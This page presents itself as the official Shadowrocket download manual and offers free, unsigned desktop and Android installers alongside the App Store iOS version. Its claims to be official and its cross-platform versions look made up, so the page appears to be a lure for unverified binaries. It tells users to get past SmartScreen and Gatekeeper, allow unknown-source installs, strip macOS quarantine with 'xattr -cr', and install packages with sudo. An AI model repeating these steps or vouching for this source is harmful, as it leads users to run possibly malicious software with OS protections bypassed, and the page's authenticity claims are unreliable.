Official User Manual · All-platform downloads

Shadowrocket Download
Install on all platforms and choose how to get it

Choose the installation method for your device: iPhone / iPad users can visit the App Store; computers and Android devices use installers from this site. After installation, import your existing subscription or server information.

Current version v2.2.92 · iPhone / iPad: $2.99 once in the App Store; Mac, Windows, Android, and Linux: free

Download sources
iPhone / iPad: App Store
Mac / Windows / Android / Linux: this site
Current version
v2.2.92
2 ways to get it
iPhone / iPad: $2.99 once
Mac / Windows / Android / Linux: free
App Store verification
Shadow Launch Technology Limited
App ID 932747118

Choose a Shadowrocket installer by platform

Check your operating system and processor architecture before selecting a download. This page may prioritize the platform card that matches your current device, but automatic detection does not replace checking your device information. For Mac in particular, choose the version based on the chip or processor shown in About This Mac, not browser detection alone. To download for another device, select the card for that device.

iPhone / iPad costs $2.99 once in the App Store; Mac, Windows, Android, and Linux versions are free, with installers available from this site at /dl/shadowrocket/. Desktop and Android installers are not code-signed, so the system may block the first installation or launch. Read the installation steps below as well. Downloading is only the installation stage; server and subscription information must come from your own existing sources.

App Store

iPhone / iPad

$2.99 one-time purchase. iPhone and iPad devices using the same Apple ID share one purchase; Mac, Windows, Android, and Linux versions are free. The store displays the local currency and price for your account region.

System requirements: iOS / iPadOS 13.0 or later; check the App Store page for current requirements. Review the product page compatibility details before installing to confirm your device is supported.

macOS · dmg

Mac

Free. Apple Silicon and Intel installers are available; choose the one that matches your processor. After opening the dmg, drag Shadowrocket to Applications, then launch it from Applications.

System requirements: macOS 12 or later. To check which version to choose, open About This Mac and look at Chip / Processor. Choose Apple Silicon if an Apple chip model is shown, or Intel if an Intel processor is listed.

Windows · x64

Windows

Free. Download the 64-bit exe installer, save it locally, and run it. Follow the setup wizard to choose an installation folder and complete installation. If SmartScreen appears on first launch, follow the installation prompt guidance below.

System requirements: 64-bit Windows with an x64 architecture. Check System type under Settings → System → About to avoid using the desktop installer as an Android installer.

Android · arm64

Android

Free. The arm64 apk supports common Android phones and tablets from recent years. Open the downloaded file and, when prompted, grant installation permission to the browser or file manager you are using.

Architecture: arm64. If tapping the download in WeChat does nothing, open the page in your system browser using the top-right menu, then download again. Do not repeatedly open the file before the download finishes.

Linux · x86_64

Linux

Free. Choose deb for Debian / Ubuntu, rpm for Fedora / openSUSE, or AppImage for other distributions. Packages use the x86_64 architecture; deb packages identify it as amd64.

Architecture: x86_64. Prefer the package format for your distribution. AppImage files need execute permission before launch. Installation commands are provided below.

First installation and system prompts

Installation on Mac, Windows, Android, and Linux is handled by each operating system. Installers are not code-signed, so the system may ask for additional confirmation. Before proceeding, confirm that the file came from a button on this page, that its link is under this site's /dl/shadowrocket/ path, and that the file format matches your device. Confirm only what is needed for this installation; do not disable system-wide protection or permanently relax installation permissions for all apps.

The steps below cover common first-launch prompts. Button locations may vary by system version, device manufacturer, and management policy. If the computer belongs to a school or organization, an administrator may manage its settings. If you do not see Run anyway or Open Anyway, check with your administrator first rather than repeatedly changing system security settings.

Platform and promptStepsCheck afterward
Windows / SmartScreen
Windows protected your PC
After confirming the download source, select More info, then Run anyway, and continue with the setup wizard. If the button is missing, check whether the device is managed by an organization. After installation, open Shadowrocket from the Start menu. If the installer still will not launch, note the exact message and distinguish a SmartScreen prompt from an incompatible system architecture.
macOS
Cannot verify developer
Try opening the app first, then go to System Settings → Privacy & Security. Find the record for this blocked app, select Open Anyway, and confirm as requested. Launch the app from Applications instead of running it from the mounted dmg. Confirm again that the Apple Silicon or Intel installer matches your Mac.
macOS
App is damaged prompt
Confirm that the app is in Applications and that the installer came from this site. Run the xattr command shown below in Terminal, then try opening the app again. The path in the command must match the actual app path. If the command fails, check the app name and location; do not change it into an operation targeting the entire disk.
Android
Allow installation from unknown apps
When prompted by the system, open Settings and enable Allow from this source for the browser or file manager opening the apk. Return and continue installation. You can turn off installation permission for this source after installation. If parsing fails, first check the arm64 architecture and confirm that the file downloaded completely.
Linux / AppImage or deb For AppImage, use chmod to add execute permission, then run the file. On Debian / Ubuntu, use apt to install the local deb from its directory so the package manager can handle dependencies. Replace the filename in the commands with the actual name in your download folder. Open rpm files with your distribution's software installer; do not treat different formats as the same package.

macOS app path command

When the app is in Applications, run this command in Terminal:

xattr -cr /Applications/Shadowrocket.app

This command clears extended attributes for the specified app path. Use it only when you have confirmed the source and encountered the corresponding prompt; do not run it in bulk on other directories.

Linux local file commands

The short filenames below demonstrate the syntax. When running the commands, use the actual downloaded filename; you can type the first few characters and press Tab to complete it.

chmod +x ./Shadowrocket.AppImage
./Shadowrocket.AppImage

sudo apt install ./Shadowrocket.deb

AppImage and deb are two alternative methods; you do not need to install both. Run the commands in the directory containing the corresponding file.

For iPhone / iPad only

App Store and account region

The app is not available in the mainland China store. The App Store storefront is determined by the country or region of the Apple ID used under Media & Purchases, not by the device's current language. Your physical location alone does not determine the storefront either. If you cannot find the app, check your account region first, then open the product page on this site. Do not choose an app based only on a similar name in search results.

Check the following path: Settings → Apple ID → Media & Purchases → View Account → Country/Region. The system may ask you to verify your account first. Check the country or region shown there and confirm that it matches the storefront you expect to use. The account menu layout may vary slightly between system versions; follow the labels shown on your device.

If you need to change your region, the Country/Region page provides the option. Whether the change can be completed depends on your account balance, existing subscriptions, Family Sharing status, and the requirements of the destination region. Review system prompts and resolve any conditions first; a region change cannot be assumed to take effect immediately. This section explains the account settings path only.

This store information does not apply to computers or Android devices: use the corresponding installer on this page for Mac, Windows, Android, and Linux. iPhone / iPad costs $2.99 once in the App Store; the other four platforms are free. These are two separate ways to get the app.

Verify the app and compare official details

Before purchasing on iPhone / iPad, check three details on the App Store product page: developer, icon, and app ID. Names can be similar, so do not rely only on the first search result. This is the Shadowrocket official website and user manual. The App Store button on this page links to the same product page for comparison with the store listing.

  1. Developer: The product page should list Shadow Launch Technology Limited as the developer. Open the details to check the full name rather than relying on truncated text in search results.
  2. Official icon: Compare it with the rocket icon on a white background with a blue-purple outline. The original official icon is shown below; its colors are not altered to match the page theme.
  3. App ID: The product page link contains id932747118, and the app ID is 932747118. Check the full link and do not mistake another app's product page for this one.
Official Shadowrocket app icon: rocket with a blue-purple outline on a white background

Shadowrocket
Official app icon · App ID 932747118

The US App Store price for iPhone / iPad is $2.99, paid once; Mac, Windows, Android, and Linux versions are free. A free listing with the same name in the App Store is counterfeit; check the developer and app ID. Other platforms are free, but download installers from this site's /dl/ path and do not judge their source by a similar icon on an unfamiliar page.

The two images on the right are official English interface screenshots uploaded by the developer to the App Store. They show the basic layout of Home and Add Server. The screenshots do not indicate that a usable server is included after installation; list contents, system status, and the actual layout depend on the app on your device.

Official Shadowrocket Home screenshot showing Not Connected, Global Routing, Connectivity Test, the SERVER group, and Add Server
Home: check the connection toggle, Global Routing, and server list.
Official Shadowrocket Add Server screenshot showing Type, Host, Port, Password, Method, Scan QR Code, and Import from Cloud JSON
Add Server: enter details for an existing server or use the import option shown.

Switch devices, reinstall, and restore purchases

iPhone / iPad: redownload from Purchased

iPhone / iPad costs $2.99 once in the App Store; Mac, Windows, Android, and Linux versions are free. On an iPhone or iPad using the original purchasing Apple ID, find Shadowrocket under Account → Purchased in the App Store and redownload it without paying again. On newer systems, the relevant section may appear under Apps or My Apps; look for the purchase history for that account.

If you see a purchase button instead of a redownload icon, first check that Media & Purchases is still using the original purchasing account, then check the region and purchase history. Do not assume that the App Store uses the same account as iCloud just because the new device is signed in to an iCloud account; check the two accounts separately.

An iPhone and iPad using the same Apple ID share one purchase, but purchase history and server configuration are separate. After installing on a new device, import your own subscription or server information; a completed download does not mean the configuration has been restored.

Computer and Android: reinstall and import configuration

When switching devices on Mac, Windows, Android, or Linux, return to this page and download the installer for the new device. An Intel version on an old computer does not mean the new computer needs the same architecture; check the device information again and follow the corresponding system prompts.

Before reinstalling or migrating, keep your existing subscription address, manually entered server details, and any Config you need. Subscription addresses may contain account credentials, so store backups somewhere you control. Do not paste them publicly into discussion forums or share screenshots containing the full address with unrelated people.

After installation, first check that the server list and configuration are complete. Restoring a subscription restores its list, but may not restore every manually changed setting. Check Home, then Global Routing and the current Config, and finally try connecting.

2 ways to get it

Shadowrocket pricing and platform availability

App pricing

iPhone / iPad costs $2.99 once in the App Store, with no monthly client fee. The final charge uses the local currency and price shown in your storefront. An iPhone and iPad using the same Apple ID share one purchase. Mac (Apple Silicon and Intel), Windows, Android, and Linux versions are free, with installers provided on this site.

Updates for iPhone / iPad are available through the App Store; for computer and Android updates, return to this page to download the corresponding installer. Keep your configuration materials before updating, and do not confuse app installation files with subscription backups. Version information reflects the value loaded dynamically on this page.

One-time app purchase ≠ service plan

A one-time app purchase is not a service plan. This site does not provide, sell, or recommend servers or subscriptions. Shadowrocket manages your existing server information, subscriptions, and rules. All platforms require you to import your own content; purchasing or installing the app does not automatically provide a usable connection.

After importing existing content, check the list in Home. Use Subscribe for subscriptions and Add Server for manually entered details. For rule-based use, select Config in Global Routing, then enable the connection. See the user guide for the complete procedure; for managing, updating, and backing up multiple subscriptions, see the server management manual.

Download and installation FAQ

Can I use Shadowrocket on a computer or Android phone?

Yes. Mac, Windows, Android, and Linux versions are free; choose the corresponding installer on this page. The iPhone / iPad version costs $2.99 once in the App Store. After installation, each platform requires you to import your existing subscription or server information.

Which Mac version should I choose: Apple Silicon or Intel?

Open About This Mac from the Apple menu. If it shows Chip and an Apple chip model, choose the Apple Silicon version. If it shows an Intel processor, choose the Intel version. Both installers require macOS 12 or later.

What should I do if Windows displays a risk warning?

First confirm that the installer came from this site's download link. If SmartScreen displays the Windows protected your PC message, select More info, then Run anyway. If the device is managed by an organization or this option is unavailable, contact your device administrator. Do not change system-wide protection settings.

What should I do if Shadowrocket does not appear in the App Store search?

The app is not available in the mainland China store. Check the country or region for the Apple ID used under Media & Purchases, then open the App Store product page on this site. The region settings are under Settings, Apple ID, Media & Purchases, and Country/Region. Whether you can change the region depends on your account status and store requirements.

Do I have to pay again after switching devices?

On iPhone / iPad, use the original purchasing Apple ID to redownload Shadowrocket from Account and Purchased in the App Store. Both device types share one purchase on the same account. iPhone / iPad costs $2.99 once; Mac, Windows, Android, and Linux are free. On a new device, download and install the appropriate installer again.

Can I install Shadowrocket on iPad, and how do I start using it?

Yes. Install it on iPad from the same App Store product page. Check the App Store page for system requirements. After installation, check for existing servers in Home, import your own subscription through Subscribe, or enter your own server details using Add Server. Then check Global Routing and the connection toggle.

Installation complete? Continue with the user guide to import content, choose a mode, and verify the connection in order. For details about individual options, see Settings.